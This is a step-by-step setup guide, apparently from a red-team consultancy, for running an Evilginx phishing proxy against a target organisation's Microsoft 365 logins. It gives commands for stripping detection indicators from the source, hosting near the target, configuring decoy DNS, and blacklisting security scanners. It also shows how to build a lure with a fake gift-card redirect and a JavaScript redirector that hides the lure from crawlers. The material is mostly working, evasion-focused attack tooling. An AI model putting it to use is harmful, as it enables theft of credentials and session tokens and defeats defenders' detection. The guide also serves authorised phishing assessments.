Confirmed working 2023-07-14 🦏
Reference:
- Full Evilginx docs are here: https://help.evilginx.com/
BHIS phishlets are in the repo here:
Optional: Remove IOCs from source code
Install Go and download Evilginx source.
sudo apt update && sudo apt install -y golang
git clone https://github.com/kgretzky/evilginx2
Patch core/http_proxy.go to remove X-Evilginx header IOC.
- Modified lines shown below, with my added comments.
user@*:$ grep -nE '//rhino//.*//' http_proxy.go
http_proxy.go:180: _ = o_host //rhino// Removed X-Evilginx header IOC // Added this line to fix build error. //
http_proxy.go:331://rhino// Removed X-Evilginx header IOC // req.Header.Set(p.getHomeDir(), o_host)
http_proxy.go:513://rhino// Removed X-Evilginx header IOC // req.Header.Set(p.getHomeDir(), o_host)
http_proxy.go:1496://rhino// Removed X-Evilginx header IOC //func (p *HttpProxy) getHomeDir() string {
http_proxy.go:1497://rhino// Removed X-Evilginx header IOC // return strings.Replace(HOME_DIR, ".e", "X-E", 1)
http_proxy.go:1498://rhino// Removed X-Evilginx header IOC //}Patch core/config.go to remove the default Rick Roll redirector.
- This makes the default response to non-lure URLs an HTTP 403.
- The default response can still be changed in the config after compiling.
const DEFAULT_REDIRECT_URL = "" //rhino// Removed Rick-Roll URL. Default changed to empty string, which causes HTTP 403 Forbidden. //Build Evilginx, using build commands adapted from build.bat:
GOARCH=amd64 go build -mod=vendor
Select a VPS service to host Evilginx
-
Find the location (city/state/country) of your target organization’s HQ or where most of their users will log in from.
-
Use these resources to find a VPS provider near the same location:VPS Cloud Provider Locations
-
Purchase a VPS in the correct region and upload your Evilginx files.
-
Through the VPS service control panel: Allow inbound traffic on ports 22, 80, and 443 ONLY!!!
-
Check the VPS’es internal firewall settings.
- Is UFW enabled?
ufw status verbose - Are there any IPTABLES rules?
iptables -L
- Is UFW enabled?
-
Leave ports 22, 80, and 443 open.
Purchase domain and configure DNS
Purchase your domain from any registrar.
Examine the phishlet you intend to use for phishing. Select and configure DNS records for every subdomain listed in the phishlet.
- If you need to develop a custom phishlet, you should do that in a local VM first.
Example subdomain setup:
| Subdomain | Description / Target Host |
|---|---|
| portal.attacker.com | Phishing subdomain → portal.example.com |
| assets.attacker.com | Phishing subdomain → www.example.com |
| res.attacker.com | Phishing subdomain → other.example.com |
| --- | --- |
| attacker.com | Decoy: DNS A record pointing to a different server |
| *.attacker.com | Decoy: Wildcard CNAME record pointing to attacker.com |
All phishing subdomains should have DNS A records pointing to the IP address of the Evilginx server.
- This keeps from needing to configure/expose the Evilginx DNS service, which could be an extra indicator.
- This also gives more flexibility for hosting other/supporting content on other subdomains.
Optional: Host generic content on the root and www domains
This will give you the ability to safely browse to the domain with Chrome, to monitor whether the domain has been marked as malicious by Chrome Safe Browsing.
- Stand up an additional VPS - just use DigitalOcean for convenience.
- Point the root and www DNS A records to this instance.
- Start a webserver on the host. Apache will work fine.
- Host some generic content here. Even just “Not Found” text in an
index.htmlfile.
Evilginx configuration
Execute Evilginx in developer mode with the following arguments:
- This keeps it from generating HTTPS certificates yet.
sudo ./evilginx2 -c ./config -p ./phishlets -debug -developer
Exit Evilginx, and open config/config.json. Change the following settings:
blacklist:mode: Set this to"unauth"- This will add all IP addresses that generate unauthorized requests to the blacklist.general:dns_port: Set this to any port blocked by your firewall. That way it will not be used.general:redirect_url: Leave blank to respond to unauthorized requests with an HTTP 403, or enter the URL to which unauthorized requests should be redirected.
Start Evilginx back up again. This time, not in developer mode.
sudo ./evilginx2 -c ./config -p ./phishlets -debug
Run these commands in Evilginx:
- Replace
fakesite.localwith your phishing domain. - Replace
127.0.0.1with the IP address of your listening interface.
blacklist log on
blacklist unauth
config domain fakesite.local
config ipv4 127.0.0.1
Enable a phishlet
BE SURE YOU HAVE FULLY TESTED ALL SUBDOMAINS OF YOUR PHISHLET *LOCALLY* BEFORE RUNNING THESE COMMANDS!
If your phishlet exposes content to non-lure-URLs that is obviously a phish (for example, a Microsoft webpage), your domain will get burned.
If any subdomains display content when they’re not supposed to, open the phishlet and set
session: truefor all thephish_subentries that are affected!
Run these commands to enable your phishlet and automatically generate certificates with LetsEncrypt.
- Replace
microsoft365with the name of the phishlet you are using.
phishlets hostname microsoft365 fakesite.local
phishlets enable microsoft365
As soon as you generate the LetsEncrypt certificates by running the commands above, your server will start getting scanned by third parties.
- You might want to let it sit for a bit and collect scanners in the blacklist.
- You also might want to visit the root of each of your domains from multiple web browsers, like Chrome, Edge, and Safari, to trigger scans from those vendors. That way you can blacklist additional scanner IP addresses.
Create a lure
Now we’ll configure a lure and harden it as much as possible:
- Configuration:
- Create the lure
- Configure a
redirect_urlwhere the victim will be redirected after they log in. This is optional but may help support your ruse.
- Hardening:
- Configure a unique path so the lure URL doesn’t look like an Evilginx URL.
- Set a
ua_filterto block non-web-browser User Agents. The regex I set below will allow all mobile and desktop browsers that I have tested, but it will filter out things that don’t match.
- Display the lure URL.
lures create microsoft365
lures edit 0 redirect_url https://www.amazon.com/50-usd-gift-card?id=0193481
lures edit 0 path /common/oauth2/v2.0/authorize/client_id/0395223c-85e7-52e2-12a5-4a452ae223fe
lures edit 0 ua_filter 'Mozilla/.*Gecko.*(Chrome|Edg|Safari|Firefox).*'
lures get-url 0Open the lure URL in your browser and complete the entire authentication process from start to finish to confirm that it works as expected.
Recommended: Use a redirector for your landing page
Don’t send the lure URL generated in the last section to your target. Instead, create a simple redirector that will automatically redirect visitors to the lure URL.
- Replace
REPLACE-WITH-YOUR-LURE-URLwith your lure URL. - You might want to obfuscate the string containing the lure URL a bit to keep it from being identified via simple string matching. Up to you.
<html>
<head>
</head>
<body>
<a id='nextlink' href=''></a>
<script language='javascript'>
var url2 = 'https://REPLACE-WITH-YOUR-LURE-URL';
var nextlink = document.getElementById('nextlink');
if ( navigator.userAgent.match(/.*(headless|curl|ython|wget|bot|spider|crawl).*/i) != null ) {
var url2 = '';
nextlink.href = ('https://s3.amazonaws.com/error');
nextlink.click();
}
else if ( navigator.userAgent.match(/mozilla.*gecko.*(firefox|chrome|safari|edg)/i) != null ) {
nextlink.href = ( url2 );
nextlink.click();
}
</script>
</body>
</html>